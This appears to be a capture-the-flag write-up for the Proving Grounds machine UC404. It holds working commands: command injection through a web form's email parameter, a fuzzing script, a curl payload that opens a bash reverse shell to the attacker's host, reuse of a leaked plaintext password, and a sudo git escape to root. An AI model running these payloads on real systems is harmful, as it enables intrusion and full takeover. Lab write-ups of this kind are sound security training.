UC404 - OSPG

Read this in "about 8 minutes".

Summary of Result

We gain the initial access by exploiting the command injection vulnerability of a web application. We’ll then compromise brian - a local user via plain-text password stored in a backup file. As brian, we can execute a sudo command and successfully acquire root shell.


Enumeration

Nmap

We’ll begin with nmap scan.

PORT      STATE SERVICE  REASON         VERSION                      
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))              
| http-git:
|   192.168.72.109:80/.git/
|     Git repository found!               
|     Repository description: Unnamed repository; edit this file 'description' to name the...            
|     Remotes:          
|       https://github.com/ColorlibHQ/AdminLTE.git  
|_    Project type: Ruby on Rails web application (guessed from .gitignore)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: AdminLTE 3 | Dashboard
111/tcp   open  rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
2049/tcp  open  nfs_acl  syn-ack ttl 63 3 (RPC #100227)
36931/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
44931/tcp open  nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
45359/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
55419/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)

There are a few running services. Yet, we drop our attention to the HTTP service.


Web Application

Let’s us first ffuf hidden directories against the server.

$ ffuf -u $URL -w directories.txt 
index.html              [Status: 200, Size: 60628, Words: 23683, Lines: 1480]
index2.html             [Status: 200, Size: 71875, Words: 29353, Lines: 1710]
index3.html             [Status: 200, Size: 42799, Words: 17135, Lines: 1126]
.git                    [Status: 301, Size: 315, Words: 20, Lines: 10]
.gitignore              [Status: 200, Size: 1213, Words: 16, Lines: 72]
wp-forum.phps           [Status: 403, Size: 279, Words: 20, Lines: 10]
demo                    [Status: 301, Size: 317, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 320, Words: 20, Lines: 10]
db                      [Status: 301, Size: 315, Words: 20, Lines: 10]
dist                    [Status: 301, Size: 317, Words: 20, Lines: 10]
build                   [Status: 301, Size: 318, Words: 20, Lines: 10]
LICENSE                 [Status: 200, Size: 1082, Words: 155, Lines: 21]
under_construction      [Status: 301, Size: 331, Words: 20, Lines: 10]

Looking over the results, there exists several enchanting directories and files. Particularly, the /under_construction looks compelling to investigate.

→ Fuzzing the directory /under_construction.

$ ffuf -u http://192.168.250.109/under_construction/FUZZ -w raft-small-files.txt -e .php
index.php               [Status: 200, Size: 2950, Words: 111, Lines: 76]
register.html           [Status: 200, Size: 3127, Words: 130, Lines: 80]
forgot.php              [Status: 200, Size: 2729, Words: 333, Lines: 73]

Futher enumerating index.php and register.html yielded a dead end. We draw our attention to the forgot.php file.

Let’s us have a look at the page source of forgot.php.

curl -s http://192.168.250.109/under_construction/forgot.php | tail -20

[...]

|| For security reasons we are working to blacklist some characters ||

//-->

[...]                       

The above line divulges some characters are not properly sanitized in the user input. Moreover, it’s worth giving attention to the last two lines of the same page source.

[...]

Could not open input file: sendmail.php
1

When it comes to parameter pentesting, its not trivial to perform both POST and GET requests against the entry.

Now, we can check if the paramater email is vulnerable by throwing some random special characters. This can be done with curl.

$ curl -s http://192.168.250.109/under_construction/forgot.php\?email=\' | tail -20
</html>

[...]

---- Under Construction ----

sendmail.php must receive the variable from the html form and send the message.

|| For security reasons we are working to blacklist some characters ||

//-->

2

By casting a single quote (') into the entry, we observe an abnormal behavior of the web server in the last two lines.

  • Previous
[...]

Could not open input file: sendmail.php
1
  • Now
[...]

2

We know that the character might break something at the backend.


Exploitation

Command Injection


Method 1 - Automatic

Using the following .py script given a list of command injection payloads (here.)

#!/usr/bin/env python3

import requests
import sys

s = requests.Session()
url = "http://192.168.250.109/under_construction/forgot.php"
sc_file = sys.argv[1]
# Get website cookie, token ...?
s.get(url)

with open(sc_file, "r", encoding="iso-8859-1") as special_chars:
	sc = special_chars.readlines()
	for ss in sc:
            ss = ss.strip()
            payload = {'email':ss}
            r = s.get(url, params=payload)
            print(f"Trying payload: {payload}")
            print(r.text.splitlines()[71:73])
            print()

We then execute the script as follow.

$ python3 params_brute.py OS-Command-Fuzzing.txt 
Trying payload: {'email': '&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;'}
['Could not open input file: sendmail.php', '127']
...
Trying payload: {'email': '|id'}
['uid=33(www-data) gid=33(www-data) groups=33(www-data)', '0']

After a few seconds, we discover that the payload |id triggers id command on the other end.


Method 2 - Guessing

The payload in the first method is not the only way. By guessing, we can also achieve Remote Code Execution (RCE).

$ curl -s http://192.168.250.109/under_construction/forgot.php\?email=%0aid | tail -20

<!--
  ______ __  __          _____ _         _______     _______ _______ ______ __  __ 
 |  ____|  \/  |   /\   |_   _| |       / ____\ \   / / ____|__   __|  ____|  \/  |
 | |__  | \  / |  /  \    | | | |      | (___  \ \_/ / (___    | |  | |__  | \  / |
 |  __| | |\/| | / /\ \   | | | |       \___ \  \   / \___ \   | |  |  __| | |\/| |
 | |____| |  | |/ ____ \ _| |_| |____   ____) |  | |  ____) |  | |  | |____| |  | |
 |______|_|  |_/_/    \_\_____|______| |_____/   |_| |_____/   |_|  |______|_|  |_|
 

---- Under Construction ----

sendmail.php must receive the variable from the html form and send the message.

|| For security reasons we are working to blacklist some characters ||

//-->

uid=33(www-data) gid=33(www-data) groups=33(www-data)
0


Initial Access

Previously, we allocate the vulnerability leading to RCE. It’s now a simple task to get the call back.

On our terminal, we execute:

$ curl -s http://192.168.250.109/under_construction/forgot.php\?email=\|bash+-c+\'bash+-i+\>%26+/dev/tcp/192.168.49.250/80+0\>%261\'

After a bit, the nc listener should catch the reverse shell at port 80 as www-data.

$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.250] from (UNKNOWN) [192.168.250.109] 39692
bash: cannot set terminal process group (546): Inappropriate ioctl for device
bash: no job control in this shell
www-data@UC404:/var/www/html/under_construction$ 

Privilege Escalation

Shell as brian

Moving around as www-data, we disclose the file /var/backups/sendmail.php.bak reserving the credentials of brian.

[...]
$connect=mysql_connect("localhost","brian","BrianIsOnTheAir789") or die("Could not connect to database");
mysql_select_db("uc404") or die(mysql_error()); 
[...]
?>

At this point, we simply SSH into the target as brian with the newly obtained password.

SUDO Permission

Poking around, we realize that brian allows us to execute the sudo /usr/bin/git ... command as root.

brian@UC404:~$ sudo -l
Matching Defaults entries for brian on UC404:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User brian may run the following commands on UC404:
    (ALL) NOPASSWD: /usr/bin/git

With this permission, we easily compromise the root shell.

brian@UC404:~$ sudo git -p help config
!/bin/bash
root@UC404:~# id
uid=0(root) gid=0(root) groups=0(root)